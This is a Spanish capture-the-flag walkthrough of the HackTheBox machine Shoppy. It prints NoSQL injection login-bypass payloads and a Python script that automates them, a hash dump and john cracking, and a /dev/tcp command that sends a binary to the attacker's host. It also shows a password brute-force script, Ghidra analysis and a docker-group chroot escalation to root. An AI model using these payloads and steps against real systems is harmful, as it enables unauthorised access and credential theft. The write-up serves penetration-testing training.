the_open_door
café
ESEN

Shoppy

HackTheBoxFácilLinux10.10.11.180

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#linux#http#nosql-injection#mongodb#auth-bypass#hash-cracking#mattermost#credential-reuse#ssh#sudo#reverse-engineering#ghidra#docker#oscp
TL;DR. El 80 sirve shoppy.htb, una tienda con panel /login cuyo backend es MongoDB: la inyección NoSQL admin' || '1'=='1 salta la autenticación. El buscador de usuarios es vulnerable igual y vuelca los hashes de admin y josh; el de josh (MD5) se rompe a remembermethisway. Esas credenciales entran en el subdominio mattermost.shoppy.htb, donde un canal filtra las de jaeger (reutilizadas en SSH). jaeger puede ejecutar password-manager como deploy: sacándole la master password (fuerza bruta o Ghidra) revela la contraseña de deploy, que está en el grupo docker → root.

Reconocimiento

Ping

Empezamos con un ping para confirmar que el host responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.11.180

ping a 10.10.11.180: ttl=63 apunta a Linux

64 bytes from 10.10.11.180: icmp_seq=1 ttl=63 time=... ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

Empezamos por UDP, que es barato de descartar y a veces esconde el único servicio interesante. Aquí no hay nada: el filtro grep -v 'no-response' deja la tabla de puertos completamente vacía.

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.11.180 | grep -v 'no-response'

el escaneo UDP de los 100 puertos más comunes no devuelve ningún puerto

Initiating UDP Scan at 22:14
Scanning 10.10.11.180 [100 ports]
Completed UDP Scan at 22:14, 1.05s elapsed (100 total ports)
Nmap scan report for 10.10.11.180
Host is up, received user-set (0.14s latency).
Not shown: 6 closed udp ports (port-unreach)
PORT     STATE     SERVICE     REASON

Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds

Solo 6 puertos responden port-unreach (cerrados) y los 94 restantes callan, que en UDP significa open|filtered y por eso ni se listan tras el filtro. Sin vector por aquí, pasamos al TCP completo. El barrido lo lanzamos con una función definida en el .zshrc, y conviene enseñarla porque el nombre jmap no dice nada por sí solo:

jmap () {
        echo -e "\n[+] Introduce una IP\n"
        read ip
        echo
        sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}

Es la primera de las dos fases del escaneo de puertos: barrer los 65535 puertos TCP (-p-) con un SYN scan (-sS), sin DNS (-n) ni ping previo (-Pn), guardando el resultado en formato grepeable (-oG scan) para procesarlo después.

jmap        # 10.10.11.180

nmap -p-: 22, 80 y 9093 abiertos, todos con ttl 63

PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack ttl 63
80/tcp   open  http     syn-ack ttl 63
9093/tcp open  copycat  syn-ack ttl 63

Tres puertos, y el ttl 63 de cada línea vuelve a confirmar Linux sobre TCP, no solo sobre ICMP. El 9093 no es un puerto habitual, así que ya sabemos que el escaneo dirigido tiene algo que aclarar. Una segunda función extrae los puertos del fichero grepeable y los deja en el portapapeles:

extractPorts scan

extractPorts imprime la IP y los tres puertos abiertos y los copia al portapapeles

Extracting information ...
IP Address: 10.10.11.180
Open ports: 22,80,9093

Ports copied to clipboard

La segunda fase es el escaneo dirigido, que identifica OpenSSH, un nginx que revela el dominio shoppy.htb y, en el 9093, un servicio HTTP escrito en Go:

nmap -p22,80,9093 -sCV 10.10.11.180

nmap -sCV: OpenSSH, nginx 1.23.1 (shoppy.htb) y un HTTP en Go en el 9093

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian
80/tcp   open  http    nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
9093/tcp open  http    Golang net/http server

El dato que dirige todo lo demás es el http-title: Did not follow redirect to http://shoppy.htb. El servidor responde con una redirección a un nombre de dominio, no a la IP, señal clara de virtual hosting. Sin ese nombre en /etc/hosts no veremos el sitio real.

El 9093 en Go resulta ser un endpoint de métricas tipo Prometheus. Lo dejamos anotado, pero en esta caja no acaba siendo el vector.

Virtual hosting

nano /etc/hosts
cat /etc/hosts

/etc/hosts con la línea 10.10.11.180 shoppy.htb añadida

1  127.0.0.1       localhost
2  127.0.1.1       kali
...
9  10.10.11.180    shoppy.htb

HTTP - TCP 80: tecnologías

whatweb http://shoppy.htb

whatweb sobre shoppy.htb: nginx 1.23.1, jQuery y el título Shoppy Wait Page

http://shoppy.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.23.1], IP[10.10.11.180],
JQuery, Script, Title[Shoppy Wait Page][Title element contains newline(s)!], nginx[1.23.1]

Poca cosa: nginx, jQuery y un título, Shoppy Wait Page, que ya adelanta que la portada no es la aplicación sino una página de espera. Wappalyzer confirma lo mismo desde el navegador:

Wappalyzer detecta Nginx 1.23.1 como servidor web y también como proxy inverso, jQuery 1.10.2 y Font Awesome

Font scripts:        Font Awesome
JavaScript libraries: jQuery 1.10.2
Web servers:          Nginx 1.23.1
Reverse proxies:      Nginx 1.23.1

Hay un detalle que merece la pena leer: Wappalyzer cataloga a nginx a la vez como servidor web y como proxy inverso. Eso significa que delante hay un nginx que reparte hacia una o varias aplicaciones detrás, lo que refuerza la sospecha de virtual hosting y anticipa que puede haber más de un sitio en la misma IP.

La portada es una cuenta atrás con el texto "Shoppy beta coming soon ! Stay tuned for beta access !". Revisamos el código fuente por si escondiera algo:

código fuente de shoppy.htb: una plantilla de cuenta atrás sin comentarios ni rutas ocultas

<title>
    Shoppy Wait Page
</title>
<link href="favicon.png" rel="shortcut icon" type="image/png">
<link href="css/roboto.css" rel="stylesheet" type="text/css">
<link href="css/loader.css" rel="stylesheet" type="text/css">
...
<h1 id="countdown">
    Shoppy beta coming soon ! Stay tuned for beta access !
</h1>
<script src="js/plugins.js"></script>
<script src="js/jquery.countdown.min.js"></script>
<script src="js/main.js"></script>

Cincuenta y siete líneas de plantilla y nada más: ni comentarios, ni credenciales, ni rutas escondidas. Es exactamente lo que aparenta, una página de "próximamente". La aplicación de verdad tiene que estar en otro sitio.

Fuzzing de subdominios

Como tenemos un dominio y un proxy inverso, lo lógico es buscar otros nombres de host. El primer intento no encuentra nada:

wfuzz -u http://shoppy.htb -w subdomains-top1million-110000.txt -H "Host: FUZZ.shoppy.htb" --hh=169

wfuzz con el diccionario de un millón: 81906 peticiones, todas filtradas, ningún resultado

Target: http://shoppy.htb/
Total requests: 114441

ID        Response   Lines    Word     Chars     Payload

^C
Total time: 0
Processed Requests: 81906
Filtered Requests: 81906
Requests/sec.: 0

La tabla está vacía: 81 906 peticiones procesadas y 81 906 filtradas, es decir, todas devolvieron los mismos 169 caracteres que el filtro --hh=169 descarta (esos 169 son la respuesta por defecto de nginx ante un Host que no reconoce). Un resultado así no demuestra que no haya subdominios, solo que no están en ese diccionario. Antes de dar la vía por cerrada, se repite con otro:

wfuzz -u http://shoppy.htb -w bitquark-subdomains-top100000.txt -H "Host: FUZZ.shoppy.htb" --hh=169 -t 100

wfuzz revela el subdominio mattermost.shoppy.htb

 ID        Response   Lines    Word     Chars     Payload
000047340: 200        0 L      141 W    3122 Ch   "mattermost"

Una sola entrada supera el filtro: el subdominio mattermost responde con 3122 caracteres. Cambiar de diccionario es una de esas decisiones que en un writeup ocupan media línea pero que en la práctica marcan la diferencia entre resolver la máquina y darla por atascada.

nano /etc/hosts
cat /etc/hosts

/etc/hosts con shoppy.htb y mattermost.shoppy.htb apuntando a la misma IP

9  10.10.11.180    shoppy.htb   mattermost.shoppy.htb

Fuzzing de rutas

En paralelo, un fuzzing de rutas sobre el dominio principal:

dirsearch -u http://shoppy.htb/ --exclude-status=403,404

dirsearch encuentra /admin y /login, además de las variantes con mayúsculas

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Target: http://shoppy.htb/

[22:32:53] Starting:
[22:32:58] 301 -  171B - /js       ->  /js/
[22:33:11] 302 -   28B - /ADMIN    ->  /login
[22:33:11] 302 -   28B - /Admin    ->  /login
[22:33:11] 302 -   28B - /admin    ->  /login
[22:33:11] 302 -   28B - /Admin/   ->  /login
[22:33:11] 302 -   28B - /admin/   ->  /login
[22:33:20] 301 -  179B - /assets   ->  /assets/
[22:33:27] 301 -  173B - /css      ->  /css/
[22:33:32] 200 -  208KB - /favicon.ico
[22:33:32] 301 -  177B - /fonts    ->  /fonts/
[22:33:35] 301 -  179B - /images   ->  /images/
[22:33:39] 200 -    1KB - /login
[22:33:39] 200 -    1KB - /login/
Task Completed

Dos rutas importan: /admin, que redirige con un 302 a /login (o sea, existe y está protegida), y /login, el formulario. El resto son directorios estáticos.

Un detalle que se suele pasar por alto: /ADMIN, /Admin y /admin devuelven exactamente lo mismo, igual que /login y /Login. El enrutado no distingue mayúsculas, lo que confirma que detrás no hay ficheros en disco sino rutas declaradas en una aplicación. Confirmamos con un segundo fuzzer y otro diccionario:

gobuster dir -u http://shoppy.htb -w directory-list-2.3-medium.txt

gobuster confirma las mismas rutas: /login 200, /admin 302 y los directorios estáticos

[+] Url:            http://shoppy.htb
[+] Wordlist:       /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404

/images    (Status: 301) [Size: 179] [--> /images/]
/login     (Status: 200) [Size: 1074]
/admin     (Status: 302) [Size: 28]   [--> /login]
/assets    (Status: 301) [Size: 179]  [--> /assets/]
/css       (Status: 301) [Size: 173]  [--> /css/]
/Login     (Status: 200) [Size: 1074]
/js        (Status: 301) [Size: 171]  [--> /js/]
/fonts     (Status: 301) [Size: 177]  [--> /fonts/]
/Admin     (Status: 302) [Size: 28]   [--> /login]

Progress: 14547 / 220563 (6.60%)^C

Coinciden ruta por ruta y tamaño por tamaño (/login = 1074 bytes en ambos), así que se corta el escaneo al 6,6%: dos herramientas distintas con dos diccionarios distintos han llegado a la misma conclusión y seguir sería gastar tiempo.

Acceso como admin

El panel y los intentos de SQLi

/login es un panel llamado Shoppy Admin. Las credenciales de manual no entran:

panel Shoppy Admin con admin/admin: la respuesta es Wrong Credentials, y Burp muestra el cuerpo del POST

POST /login?error=WrongCredentials HTTP/1.1
Host: shoppy.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=admin&password=admin

La página responde Wrong Credentials y la URL arrastra ?error=WrongCredentials. Interceptando con Burp vemos lo importante para lo que viene: los datos viajan en el cuerpo de un POST con Content-Type: application/x-www-form-urlencoded, no en la URL. Ahí es donde hay que inyectar.

Probamos primero los payloads SQL clásicos:

username='OR 1=1&password=admin

el payload 'OR 1=1 devuelve 504 Gateway Timeout

HTTP/1.1 504 Gateway Time-out
Server: nginx/1.23.1
username='OR '1'='1&password=admin

el payload 'OR '1'='1 devuelve el mismo 504 Gateway Time-out

HTTP/1.1 504 Gateway Time-out
Server: nginx/1.23.1
Content-Type: text/html
Content-Length: 167

<html>
  <head><title>504 Gateway Time-out</title></head>
  <body><center><h1>504 Gateway Time-out</h1></center>

Los dos devuelven 504 Gateway Time-out, y esa respuesta dice más de lo que parece. Un 504 lo genera nginx, no la aplicación: significa que el backend al que hace de proxy no ha contestado a tiempo. No es un error de sintaxis SQL ni un 500 de la aplicación, es que algo se ha quedado colgado detrás. Cuando un payload SQL no produce un error SQL, la primera hipótesis es que el motor no es SQL.

NoSQL injection

Ajustamos la sintaxis a la de MongoDB, que interpreta los sub-parámetros del formulario como operadores:

username[$ne]=1&password[$ne]=1

el operador [$ne] cambia la respuesta a 400 Bad Request: el backend interpreta la sintaxis de MongoDB

HTTP/1.1 400 Bad Request
Server: nginx/1.23.1

Cambia la respuesta, y eso ya es una señal. username[$ne]=1 es la forma de escribir en un formulario el objeto {username: {$ne: 1}}: si el servidor pasa de colgarse (504) a rechazar la petición (400), es que la está interpretando como un objeto, no como una cadena. Insistimos con la variante en JSON, cambiando también el Content-Type, porque MongoDB acepta ese formato:

POST /login?error=WrongCredentials HTTP/1.1
Host: shoppy.htb
Content-Type: application/json

{
  "username":{ "$gt":undefined },
  "password":{ "$gt":undefined }
}

la respuesta 400 devuelve una traza de Node.js completa con las rutas internas de la aplicación

HTTP/1.1 400 Bad Request
Server: nginx/1.23.1
Content-Type: text/html; charset=utf-8
Content-Length: 1016

SyntaxError: Unexpected token u in JSON at position 21
    at JSON.parse (<anonymous>)
    at parse (/home/jaeger/ShoppyApp/node_modules/body-parser/lib/types/json.js:89:19)
    at /home/jaeger/ShoppyApp/node_modules/body-parser/lib/read.js:128:18
    at AsyncResource.runInAsyncScope (node:async_hooks:203:9)
    at invokeCallback (/home/jaeger/ShoppyApp/node_modules/raw-body/index.js:231:16)
    at done (/home/jaeger/ShoppyApp/node_modules/raw-body/index.js:220:7)
    at IncomingMessage.onEnd (/home/jaeger/ShoppyApp/node_modules/raw-body/index.js:280:7)

Este es el hallazgo más rentable de toda la enumeración, y es fácil pasarlo por alto porque técnicamente el payload falló: undefined no es JSON válido, de ahí el SyntaxError. Pero al fallar, la aplicación devolvió la traza completa sin capturarla, y esa traza filtra tres cosas:

  • El backend es Node.js con Express (body-parser, raw-body).
  • La aplicación se llama ShoppyApp.
  • Y, sobre todo, corre bajo el usuario jaeger, porque su ruta es /home/jaeger/ShoppyApp/.

Es decir, ya sabemos el nombre de un usuario del sistema mucho antes de encontrar Mattermost. Una traza de error sin capturar es una fuga de información en toda regla, y aquí nos da medio camino gratis.

Confirmado el motor, buscamos el equivalente NoSQL del OR 1=1:

la página de NoSQL injection de HackTricks con los payloads equivalentes al OR 1=1 de SQL

Normal sql: ' or 1=1-- -
Mongo sql:  ' || 1==1//    or    ' || 1==1%00    or    admin' || 'a'=='a

La referencia es la sección NoSQL injection de HackTricks. La explicación de por qué funciona está en la propia página: si la consulta se construye como { $where: this.username == '${username}' }, meter admin' || 'a'=='a la convierte en una tautología, así que la condición se cumple para todos los documentos.

username=admin' || 'a'=='a&password=admin

Burp: el payload admin' || 'a'=='a devuelve 302 Found con Location /admin

HTTP/1.1 302 Found
Server: nginx/1.23.1
Content-Length: 56
Location: /admin

<p>Found. Redirecting to <a href="/admin">/admin</a></p>

302 a /admin: autenticación saltada. Probamos también la variante con enteros y byte nulo, para ver si el filtro es el mismo:

username=admin' || 1==1%00&password=admin

la variante admin' || 1==1%00 también devuelve 302 Found hacia /admin

HTTP/1.1 302 Found
Server: nginx/1.23.1
Content-Length: 56
Location: /admin

Funciona igual. El %00 termina la consulta antes de la comilla de cierre que espera la aplicación, así que sirve incluso si la tautología con cadenas estuviera filtrada. Tener dos payloads válidos en lugar de uno importa cuando el filtro cambia.

Con el vector confirmado, lo automatizamos en un script mínimo para no depender de Burp:

cat noSQL.py
python3 noSQL.py

el script noSQL.py hace el POST con el payload y muestra la página ya autenticada

#!/usr/bin/python3
import os, sys, requests, pdb, signal

def def_handler(sig, frame):
    print("\n\n[!] Saliendo ... \n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

url = "http://shoppy.htb/login"

def makeRequest():
    payload = "admin' || '1'=='1"
    post_data = {
        'username': payload,
        'password': "admin"
    }
    r = requests.post(url, data=post_data)
    os.system("echo '%s'|html2text" % r.text)

if __name__ == '__main__':
    makeRequest()
Shoppy
**** Products of Shoppy App ****
 Search for users
Name        Price
PC          1145$
Smartphone  200$
Backpack    30$
Jacket      20$
Ventilator  2$
Controller  15$

El script sigue la redirección y html2text deja el HTML legible en la terminal. Lo mismo desde el navegador:

el panel /admin muestra la tabla de productos y un botón Search for users

Products of Shoppy App

Name         Price
PC           1145$
Smartphone   200$
Backpack     30$
Jacket       20$
Ventilator   2$
Controller   15$

La tabla de productos es decorado. Lo que importa es el botón de arriba a la derecha: Search for users.

Volcado de la base de datos

NoSQL injection en el buscador

El buscador vive en /admin/search-users?username=... y devuelve JSON. Con un usuario normal:

buscar admin devuelve un JSON con _id, username y password del usuario

0:
  _id:      "62db0e93d6d6a999a66ee67a"
  username: "admin"
  password: "23c6877d9e2b564ef8b32c3a23de27b2"

Devuelve el _id, el username y el hash de la contraseña, que ya es de por sí una fuga grave: un buscador de usuarios no tiene por qué exponer credenciales. Y el botón Download export confirma que el resultado se puede volcar a fichero.

Si este campo llega a la consulta igual de crudo que el del login, la misma tautología debería devolver todos los documentos en lugar de uno:

admin' || '1'=='1

el buscador con admin' || '1'=='1 vuelca admin y josh con sus hashes

[
  { "_id": "62db0e93d6d6a999a66ee67a", "username": "admin",
    "password": "23c6877d9e2b564ef8b32c3a23de27b2" },
  { "_id": "62db0e93d6d6a999a66ee67b", "username": "josh",
    "password": "6ebcea65320589ca4f2f1ce039975995" }
]

Aparece un segundo usuario, josh, con un hash de 32 caracteres hexadecimales.

Crackeo del hash

Guardamos los dos hashes y confirmamos el formato antes de lanzar nada, porque elegir mal el modo hace que el crackeo falle aunque la contraseña esté en el diccionario:

nano hashes.txt
cat hashes.txt
hash-identifier

hashes.txt con los dos hashes y hash-identifier catalogando el de josh como MD5

File: hashes.txt
1  6ebcea65320589ca4f2f1ce039975995
2  23c6877d9e2b564ef8b32c3a23de27b2

HASH: 6ebcea65320589ca4f2f1ce039975995

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Least Possible Hashs:
[+] RAdmin v2.x
[+] NTLM
[+] MD4
[+] MD2
[+] MD5(HMAC)
[+] MD4(HMAC)

MD5, como cabía esperar por la longitud. Con eso ya podemos fijar el formato de john:

john --wordlist=rockyou.txt --format=raw-md5 hashes.txt

john carga los dos hashes y rompe uno: remembermethisway

Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=12
Press 'q' or Ctrl-C to abort, almost any other key for status
remembermethisway  (?)
1g 0:00:00:00 DONE (2025-10-17 14:22) 1.136g/s 16299Kp/s 16299Kc/s 17222KC/s  fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Carga los dos hashes pero solo rompe uno (1g), y no dice cuál. La salida sale con (?) justamente porque john no puede asociar la contraseña a un usuario: el fichero solo tenía hashes pelados, sin el campo usuario:. Para saberlo, consultamos el fichero donde john guarda todo lo que ha crackeado:

tail -1 ~/.john/john.pot

john.pot asocia el hash 6ebcea... con la contraseña remembermethisway

$dynamic_0$6ebcea65320589ca4f2f1ce039975995:remembermethisway

El hash es el 6ebcea..., así que la contraseña remembermethisway es la de josh. La de admin no cae con rockyou, pero no la necesitamos. Conviene quedarse con el truco: ~/.john/john.pot es el historial de todo lo roto y resuelve el "¿de quién era este hash?" sin volver a lanzar nada.

Acceso como jaeger

Mattermost: credenciales filtradas

El bypass del login ya nos dejó como admin, así que las credenciales de josh no aportan nada en la tienda. Pero teníamos el subdominio pendiente, que sirve un Mattermost (chat corporativo tipo Slack):

panel de login de Mattermost en mattermost.shoppy.htb con las credenciales de josh

Log in to your account
Email or Username: josh
Password:          remembermethisway

Mattermost autenticado como josh, con los canales Coffee Break, Deploy Machine, Development y Town Square

Shoppy
CHANNELS
  Coffee Break
  Deploy Machine     (privado)
  Development
  Town Square
DIRECT MESSAGES
  feedbackbot

Las credenciales entran. Hay cuatro canales, y el nombre del segundo es el que salta a la vista: Deploy Machine, además con el candado de canal privado, que es donde la gente cree que puede escribir cosas que no debería.

Canal Deploy Machine: username jaeger, password Sh0ppyBest@pp!

For the deploy machine, you can create an account with these creds:
username: jaeger
password: Sh0ppyBest@pp!

jaeger es justo el usuario que ya nos había filtrado la traza de Node.js hace un rato, lo que confirma que es una cuenta real del sistema y no un nombre inventado del chat.

SSH como jaeger

Esas credenciales están reutilizadas en el SSH:

ssh jaeger@10.10.11.180
id

ssh como jaeger: uid 1000, sin grupos adicionales

jaeger@shoppy:~$ id
uid=1000(jaeger) gid=1000(jaeger) groups=1000(jaeger)

Un usuario sin grupos interesantes: ni sudo, ni docker, ni adm. La escalada tendrá que salir de otro sitio.

cat user.txt

lectura de user.txt desde la sesión de jaeger

jaeger@shoppy:~$ cat user.txt
667d26bb3ed6e9f6d9e26d74022c2ae1

Escalada de privilegios

sudo: password-manager como deploy

sudo -l
sudo -u deploy /home/deploy/password-manager

sudo -l muestra que jaeger puede ejecutar password-manager como deploy; con una contraseña incorrecta el binario deniega el acceso

[sudo] password for jaeger:
Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager

jaeger@shoppy:/home/deploy$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: fasda
Access denied! This incident will be reported !

Tres cosas de esta salida. Primero, la regla no lleva NOPASSWD, por eso sudo pide la contraseña de jaeger (que ya tenemos). Segundo, el bloque Matching Defaults entries incluye secure_path, que es la razón técnica de que aquí no sirva un PATH hijacking: sudo reconstruye el PATH con esa lista fija, así que no podemos colar un binario nuestro delante. Y tercero, el saludo del programa (Welcome to Josh password manager!) lo ata al josh de antes.

Con una contraseña inventada responde Access denied! This incident will be reported !. Hay que averiguar la buena.

Sacar el binario para analizarlo

Como no podemos secuestrar su PATH, toca mirar el binario por dentro. Lo traemos a nuestra máquina usando el redirector /dev/tcp de Bash, que no requiere ninguna herramienta instalada en la víctima:

nc -nlvp 1234 > password_manager
cat /home/deploy/password-manager > /dev/tcp/10.10.16.6/1234
md5sum password-manager

transferencia del binario por /dev/tcp y comprobación de que el md5 coincide en ambos extremos

# nc -nlvp 1234 > password_manager
listening on [any] 1234 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.180] 43018

# cat password_manager
File: password_manager   <BINARY>

# md5sum password_manager
74c42b1183ea448f72487caebf1eadb6  password_manager

jaeger@shoppy:/home/deploy$ md5sum password-manager
74c42b1183ea448f72487caebf1eadb6  password-manager

El md5sum coincide en los dos extremos, así que la transferencia no corrompió nada. Es un paso de veinte segundos que evita horas de depurar un fallo que en realidad era un fichero truncado. (El fichero local se llama password_manager con guion bajo solo porque así lo nombró el nc; en la víctima sigue siendo password-manager.)

Vía 1: fuerza bruta

El programa compara la entrada contra una contraseña fija, así que se le puede probar un diccionario entero. El script lanza los intentos en bloques de 200 en paralelo, porque uno a uno tardaría horas:

chmod +x password_manager
nano bruteForce.sh
chmod +x bruteForce.sh
./bruteForce.sh
#!/bin/bash

counter=0
top_counter=200

while read -r pw; do

    if [ $counter == $top_counter ]; then
        wait
        let top_counter+=100
    fi

echo "$pw" | ./password_manager 1>/dev/null && echo "La contraseña es $pw" &

let counter+=1

done < /home/krmena/rockyoudir/rockyou.txt

el script bruteForce.sh y su salida: cat no encuentra creds.txt pero revela que la contraseña es Sample

cat: /home/deploy/creds.txt: No such file or directory
La contraseña es Sample

La salida tiene dos líneas y las dos son informativas. La contraseña maestra es Sample, y el cat: /home/deploy/creds.txt: No such file or directory destripa el mecanismo del binario: cuando acierta la contraseña no imprime nada guardado dentro de sí, sino que ejecuta un cat sobre /home/deploy/creds.txt. En nuestra máquina ese fichero no existe, de ahí el error. Por eso la fuerza bruta local nos da la llave pero no el botín: hay que volver a la víctima y lanzarlo allí.

sudo -u deploy /home/deploy/password-manager

con la master password Sample el binario revela username deploy y password Deploying@pp!

[sudo] password for jaeger:
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!

Vía 2: ingeniería inversa con Ghidra

La forma "limpia", y la que además explica por qué la contraseña era tan corta, es abrir el binario en Ghidra. El flujo de arranque es el que más se atasca la primera vez, así que va paso a paso: se lanza la herramienta, File → New Project y se elige el directorio de trabajo.

arranque de Ghidra: File, New Project y selección del directorio de proyecto

# ghidra
Creating project: /home/krmena/machines/shoppy/content/program.rep

Después se abre el proyecto (el icono del dragón), File → Import File y se selecciona el binario. El diálogo de importación ya confirma con qué estamos tratando:

diálogo de importación de Ghidra: formato ELF, arquitectura x86:LE:64:default:gcc

opciones de importación con el binario password_manager reconocido

Import /home/krmena/machines/shoppy/content/password_manager
Format:            Executable and Linking Format (ELF)
Language:          x86:LE:64:default:gcc
Destination Folder: f:/
Program Name:      password_manager

Que Ghidra identifique solo el formato (ELF de 64 bits compilado con gcc) confirma que no está empaquetado ni cifrado, así que el decompilado va a ser legible. Se aceptan las opciones por defecto y se deja analizar. En la lista de funciones, main():

Ghidra: la función main concatena la contraseña carácter a carácter en una variable local

local_29 = 'S';
local_28 = 'a';
local_27 = 'm';
local_26 = 'p';
local_25 = 'l';
local_24 = 'e';

Ahí está la master password en claro, construida carácter a carácter y concatenada en una variable local. Partirla en letras sueltas evita que aparezca en un strings, pero no sobrevive a un decompilador: es el clásico secreto hardcodeado con una capa de disfraz que no protege de nada.

Grupo docker → root

Con deploy:Deploying@pp! cambiamos de usuario:

su deploy
bash
id

su deploy y su id: pertenece al grupo docker (gid 998)

jaeger@shoppy:/home/deploy$ su deploy
Password:
$ bash
deploy@shoppy:~$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)

(El $ pelado tras el su es porque la shell por defecto de deploy no es Bash; se lanza bash a mano para tener un prompt cómodo.)

deploy está en el grupo docker, y eso equivale a root: el demonio de Docker corre como root y cualquiera que pueda hablar con su socket puede pedirle un contenedor que monte la raíz del anfitrión. Con chroot sobre ese montaje salimos a una shell de root sobre el sistema real (abuso del grupo docker). El payload es el de GTFOBins:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh
bash
id

docker run montando / en el contenedor: chroot da shell de root en el host

deploy@shoppy:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# bash
root@95fce5af4f60:/# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)

El 95fce5af4f60 del prompt es el identificador del contenedor, pero el sistema de ficheros que estamos pisando es el del anfitrión, montado en /mnt y convertido en raíz por el chroot. La flag lo confirma:

cat root/root.txt

lectura de root.txt desde la shell de root obtenida a través del contenedor

root@95fce5af4f60:/# cat root/root.txt
271222c99f458f75b442b2ddd3d1456d

Cadena de ataque

nmap TCP (22, 80, 9093) → shoppy.htb
  └─> /login: backend MongoDB → NoSQL injection admin' || 'a'=='a → bypass (admin)
        │      (la traza de Node.js del payload JSON ya filtra /home/jaeger/ShoppyApp)
        └─> /admin/search-users: NoSQL admin' || '1'=='1 → hashes de admin y josh
              └─> john (MD5) → josh:remembermethisway
                    └─> mattermost.shoppy.htb → canal Deploy Machine → jaeger:Sh0ppyBest@pp!
                          └─> SSH como jaeger (user.txt)
                                └─> sudo -u deploy password-manager → master "Sample" (brute/Ghidra)
                                      └─> deploy:Deploying@pp! → grupo docker
                                            └─> docker run -v /:/mnt ... chroot → root (root.txt)

Lecciones aprendidas

  • NoSQL no significa "sin inyección". Un campo de login que llega tal cual a una consulta MongoDB permite condiciones siempre verdaderas (|| '1'=='1, operadores $ne/$gt) que saltan la autenticación o vuelcan datos. La pista fue el cambio de respuesta (504 con payloads SQL, 400 con sintaxis de MongoDB), no un error SQL clásico.
  • Una traza de error sin capturar es una fuga. El payload JSON que "falló" devolvió el stack trace de Node.js con la ruta /home/jaeger/ShoppyApp/, revelando el usuario del sistema antes de encontrar el chat. En producción, los errores se registran en el servidor y al cliente se le devuelve un mensaje genérico.
  • Un fuzz vacío no cierra una vía, solo descarta un diccionario. El primer wfuzz filtró sus 81 906 peticiones sin un solo acierto; el segundo, con otra lista, encontró mattermost a la primera.
  • No reutilizar credenciales entre servicios. josh abría Mattermost; un canal filtraba las de jaeger, que valían tal cual para SSH. Cada salto fue reutilización de credenciales encontradas en el paso anterior.
  • Ofuscar un secreto en un binario no lo protege. La master password estaba hardcodeada carácter a carácter para escapar de un strings, pero el decompilado la enseña entera; y la fuerza bruta la sacó igual, de paso revelando que el programa solo hacía un cat /home/deploy/creds.txt.
  • El grupo docker es root. Cualquier miembro puede montar el sistema de ficheros del anfitrión en un contenedor y escalar: conceder docker equivale a conceder root.
Cheatsheet de comandos 14 comandos

Repaso rápido